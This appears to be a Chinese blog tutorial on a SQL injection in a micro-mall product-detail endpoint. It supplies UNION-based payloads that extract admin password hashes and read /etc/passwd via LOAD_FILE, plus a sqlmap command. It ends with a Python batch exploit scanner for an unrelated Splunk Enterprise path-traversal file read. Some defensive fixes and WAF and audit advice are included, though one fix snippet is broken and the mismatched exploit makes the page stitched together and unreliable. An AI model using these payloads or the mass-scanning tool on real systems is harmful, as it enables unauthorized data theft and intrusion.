#渗透测试#批量漏洞挖掘#微商城系统 goods SQL注入漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、漏洞复现步骤

三、技术原理分析

四、自动化渗透测试

五、漏洞修复方案

六、企业级安全建议

七、扩展攻击场景

八、漏洞POC


一、漏洞概述
  • 漏洞类型:SQL注入(CWE-89)
  • 风险等级:高危(CVSS 3.1评分可达9.8)
  • 影响模块 :商品查询接口(如/goods/detail
  • 攻击向量:通过构造恶意商品ID参数篡改SQL查询数据

二、漏洞复现步骤
  1. 探针请求

    使用单引号测试参数过滤机制:

    GET /goods/detail?id=1' HTTP/1.1

  • 预期响应

    • 若返回数据库错误(如You have an error in your SQL syntax),说明存在注入点
    • 若页面正常显示,需进一步验证是否为盲注
  • 布尔盲注验证

    构造布尔条件测试:

    条件为真

    GET /goods/detail?id=1' AND '1'='1 HTTP/1.1

    条件为假

    GET /goods/detail?id=1' AND '1'='0 HTTP/1.1

  • 对比页面差异:真条件应返回正常商品信息,假条件可能导致内容缺失或提示"商品不存在"

  • 联合查询注入获取数据

    GET /goods/detail?id=-1' UNION SELECT 1,version(),3,4-- -

三、技术原理分析

脆弱代码示例(PHP):

复制代码
// goods.php  
$id = $_GET['id'];
$sql = "SELECT * FROM goods WHERE id = $id";
$result = mysqli_query($conn, $sql);

漏洞成因 :直接将用户输入的id参数拼接到SQL语句,未进行类型转换或过滤。


四、自动化渗透测试

使用sqlmap进行自动化检测:

复制代码
sqlmap -u "http://target.com/goods/detail?id=1"  --batch --risk=3 

关键检测参数

  • --technique=B 指定布尔盲注技术
  • --dbms=mysql 指定数据库类型
  • --tables 枚举数据库表

五、漏洞修复方案
  1. 参数化查询改造(PHP示例):

    stmt = conn->prepare("SELECT * FROM goods WHERE id = ?");
    stmt->bind_param("i", id); // 'i'表示整数类型
    $stmt->execute();

输入验证加强

复制代码
// 强制转换为整数 
$id = (int)$_GET['id'];
// 或正则校验 
if (!preg_match('/^\d+$/', $_GET['id'])) {
    die("非法参数");
}
  1. 全局防御措施

    • 配置WAF规则拦截UNION SELECTSLEEP()等关键词
    • 修改数据库连接账号权限,禁止DROP、FILE等高危操作
    • 开启PHP的mysqli.real_escape_string 转义(但不应作为唯一防护)

六、企业级安全建议
  1. SDL整合

    • 在需求阶段定义商品ID只能为数值型
    • 开发阶段强制使用ORM框架(如Laravel Eloquent)
    • 代码审计阶段使用Checkmarx/Fortify扫描SQLi漏洞
  2. 监控与响应

    -- 数据库审计日志查询示例
    SELECT * FROM mysql.general_log
    WHERE argument LIKE '%goods%'
    AND (argument LIKE '%UNION%' OR argument LIKE '%SELECT%SLEEP%')

七、扩展攻击场景

SQL注入可能引发后续攻击:

  1. 数据泄露
    提取管理员哈希:

    GET /goods/detail?id=-1' UNION SELECT 1,password,3,4 FROM admins-- -

文件系统访问 (需FILE权限):

读取服务器配置文件:

复制代码
GET /goods/detail?id=1' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4-- -

:所有渗透测试应在法律许可范围内进行,企业用户应及时通过官方补丁升级修复漏洞。对于已部署系统建议开展红队演练验证修复有效性。

八、漏洞POC
python 复制代码
#!/usr/bin/env python3 
"""
Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版)
功能增强:
1. 支持多线程批量检测 
2. 增加HTTPS协议优先级 
3. 添加结果保存功能 
4. 改进漏洞特征检测 
5. 支持代理配置 
"""
 
import argparse 
import requests 
import sys 
import os 
from concurrent.futures  import ThreadPoolExecutor, as_completed 
from urllib3.exceptions  import InsecureRequestWarning 
 
# 禁用SSL警告 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 
 
# 颜色配置 
COLOR_CONFIG = {
    'RED': '\033[91m',
    'GREEN': '\033[92m',
    'YELLOW': '\033[93m',
    'RESET': '\033[0m'
}
 
# 漏洞检测配置 
DETECTION_CONFIG = {
    'timeout': 15,
    'max_redirects': 0,
    'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],
    'path_traversal_depth': 10,  # 目录遍历层级 
    'default_ports': [8000, 8080, 443]  # 默认尝试端口 
}
 
def color_print(text, color=None):
    """彩色输出封装"""
    if color and COLOR_CONFIG.get(color.upper()): 
        return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"
    return text 
 
def construct_url(base_url):
    """智能处理URL格式"""
    base_url = base_url.strip() 
    if not base_url.startswith(('http://',  'https://')):
        for port in DETECTION_CONFIG['default_ports']:
            if f':{port}' in base_url:
                return f'https://{base_url}'
        return f'http://{base_url}'
    return base_url 
 
def check_file_read(target_url, proxies=None, timeout=None):
    """执行漏洞检测核心逻辑"""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate'
    }
    
    # 动态构造路径遍历 
    traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']
    exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" 
 
    try:
        response = requests.get( 
            exploit_url,
            headers=headers,
            verify=False,
            timeout=timeout or DETECTION_CONFIG['timeout'],
            allow_redirects=DETECTION_CONFIG['max_redirects'],
            proxies=proxies 
        )
 
        # 增强特征检测 
        vuln_detected = all(
            sig in response.text  for sig in DETECTION_CONFIG['vuln_signatures']
        ) if response.status_code  == 200 else False 
 
        return {
            'url': target_url,
            'status': 'VULNERABLE' if vuln_detected else 'SAFE',
            'status_code': response.status_code, 
            'content_length': len(response.text), 
            'response_sample': response.text[:100] 
        }
 
    except requests.RequestException as e:
        return {
            'url': target_url,
            'error': str(e)
        }
 
def process_results(results, output_file=None):
    """处理并输出检测结果"""
    for result in results:
        if 'error' in result:
            print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")
            continue 
 
        status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'
        info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"
 
        print(f"{status_msg} - {result['url']}\n   {info_msg}")
 
        if output_file:
            with open(output_file, 'a') as f:
                f.write(f"{result['url']},{result['status']}\n") 
 
def main():
    parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')
    parser.add_argument('-u',  '--url', help='单个目标URL')
    parser.add_argument('-f',  '--file', help='包含多个URL的文件')
    parser.add_argument('-t',  '--threads', type=int, default=5, help='并发线程数 (默认: 5)')
    parser.add_argument('-o',  '--output', help='结果输出文件')
    parser.add_argument('--timeout',  type=int, default=15, help='请求超时时间 (默认: 15秒)')
    parser.add_argument('--proxy',  help='使用代理 (示例: http://127.0.0.1:8080)')
    args = parser.parse_args() 
 
    # 参数校验 
    if not args.url  and not args.file: 
        parser.error(' 必须指定 -u/--url 或 -f/--file 参数')
 
    # 配置代理 
    proxies = {'http': args.proxy,  'https': args.proxy}  if args.proxy  else None 
 
    # 准备目标列表 
    targets = []
    if args.url: 
        targets.append(construct_url(args.url)) 
    if args.file: 
        if not os.path.exists(args.file): 
            sys.exit(color_print(f" 错误: 文件 {args.file}  不存在", 'RED'))
        
        with open(args.file,  'r') as f:
            targets.extend([construct_url(line)  for line in f if line.strip()  and not line.startswith('#')]) 
 
    # 执行并发检测 
    results = []
    with ThreadPoolExecutor(max_workers=args.threads)  as executor:
        futures = {executor.submit(check_file_read,  url, proxies, args.timeout):  url for url in targets}
        
        for future in as_completed(futures):
            results.append(future.result()) 
 
    # 处理结果输出 
    process_results(results, args.output) 
 
if __name__ == '__main__':
    main()
相关推荐
小赖同学啊2 小时前
物联网数据安全区块链服务
开发语言·python·区块链
码荼2 小时前
学习开发之hashmap
java·python·学习·哈希算法·个人开发·小白学开发·不花钱不花时间crud
深圳安锐科技有限公司2 小时前
深圳安锐科技发布国内首款4G 索力仪!让斜拉桥索力自动化监测更精准高效
运维·安全·自动化·自动化监测·人工监测·桥梁监测·索力监测
潘锦2 小时前
海量「免费」的 OPENAI KEY,你敢用吗?
安全·openai
天涯学馆2 小时前
前端开发也能用 WebAssembly?这些场景超实用!
前端·javascript·面试
冰橙子id2 小时前
linux系统安全
linux·安全·系统安全
小陈phd3 小时前
李宏毅机器学习笔记——梯度下降法
人工智能·python·机器学习
kk爱闹3 小时前
【挑战14天学完python和pytorch】- day01
android·pytorch·python
Blossom.1183 小时前
机器学习在智能建筑中的应用:能源管理与环境优化
人工智能·python·深度学习·神经网络·机器学习·机器人·sklearn
亚力山大抵3 小时前
实验六-使用PyMySQL数据存储的Flask登录系统-实验七-集成Flask-SocketIO的实时通信系统
后端·python·flask